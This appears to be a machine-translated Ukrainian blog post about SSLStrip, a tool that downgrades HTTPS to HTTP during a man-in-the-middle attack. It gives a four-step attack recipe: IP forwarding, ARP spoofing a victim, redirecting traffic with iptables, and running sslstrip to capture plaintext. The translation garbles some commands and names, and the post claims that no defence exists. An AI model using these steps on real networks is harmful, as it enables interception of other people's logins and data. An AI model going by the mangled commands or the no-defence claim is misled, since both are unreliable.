SSLStrip: шпигування за SSL-трафіком

Моксі Марліншпайк представлена ​​на Чорна шапочка 2009 року витончений інструмент, що називається SSLStrip, спрямований на змусити користувача повірити, що він перебуває на веб-сайті з шифруванням SSL, коли насправді всі дані передаються відкрито. Крім того, SSLStrip також обманює веб-сервер, передбачуване шифрування якого обходить, навіть якщо сайт продовжує поводитися так, ніби він працює. Наскільки я можу зрозуміти, цей метод все ще чудово працює. Загроза все ще існує, і ми всі піддані. Буахаха ...

Почнемо з основ: що, блін, SSL?

Для тих, хто не знає, Secure Sockets Layer (SSL; протокол захищеного сокетного рівня) та його наступник Transport Layer Security (TLS; захист транспортного рівня) криптографічні протоколи, що забезпечують безпечний зв'язок через мережу, зазвичай Інтернет.

SSL працює на рівні між протоколами додатків, такими як HTTP, SMTP, NNTP, і через транспортний протокол TCP, який є частиною протоколів сімейства TCP / IP. Незважаючи на те, що він може забезпечити безпеку для будь-якого протоколу, який використовує довірені з'єднання (наприклад, TCP), він у більшості випадків використовується спільно з HTTP для формування HTTPS. HTTPS використовується для захисту сторінок всесвітньої павутини для веб-додатків. Електронна торгівля, використовуючи сертифікати відкритих ключів для перевірки ідентичності кінцевих точок.

SSLStrip ... чи порно повернулось до «Використовуймо Linux»?

Операція SSLStrip це просто, замінити всі запити HTTPS веб-сторінки за допомогою HTTP, а потім робить MITM (атака «Людина в середині«) Між сервером та клієнтом. Ідея полягає в тому, що жертва та зловмисник спілкуються через HTTP, тоді як зловмисник і сервер спілкуються через HTTPS із сертифікатом сервера. Таким чином, зловмисник може бачити весь відкритий текст жертви.

Ось відео, де ми можемо побачити, як працює цей чудовий інструмент.

Як користуватися SSLStrip

1. - Налаштуйте переадресацію IP

echo 1> / proc / sys / net / ipv4 / ip_forward

2. - Виконання ARP MITM-атаки між двома машинами:

arpspoof -i eth0 -t ВЕДУЧИЙ VICTIMA

3. - Перенаправлення трафіку за допомогою iptables:

iptables -t nat -A PREROUTING -p tcp –целюльний порт 80 -j REDIRECT –до портів 8080

4. - Запустіть SSLStrip на використаному порту

python sslstrip.py -w файл

Як захиститися від атак SSLStrip?

Це найкрасивіше і найстрашніше: не може.

Як продемонстрував Моксі (його відео трохи більше 69 хвилин не витрачається даремно) єдиним вірогідним рішенням усього цього є зашифрування всіх HTTP-з'єднань, тобто загальний і дикий "HTTP" замінений у всіх його випадках на "HTTPS", незалежно від сторінки чи служби . Як висловилася Моксі, 'безпечний протокол, який залежить від незахищеного протоколу, є проблемою".

Що ви можете зробити як користувач щонайменше зменшити ймовірність нападу? Параноїдально переконайтеся, що перед кожною сторінкою, яка порушена, є "https" або у випадку встановлення користувачами Firefox NoScript і примусити HTTPS-з'єднання на всіх сторінках. І все ж це лише мінімізує ефект, а не заперечує його.

Фуенте: Драконьяр & Moxie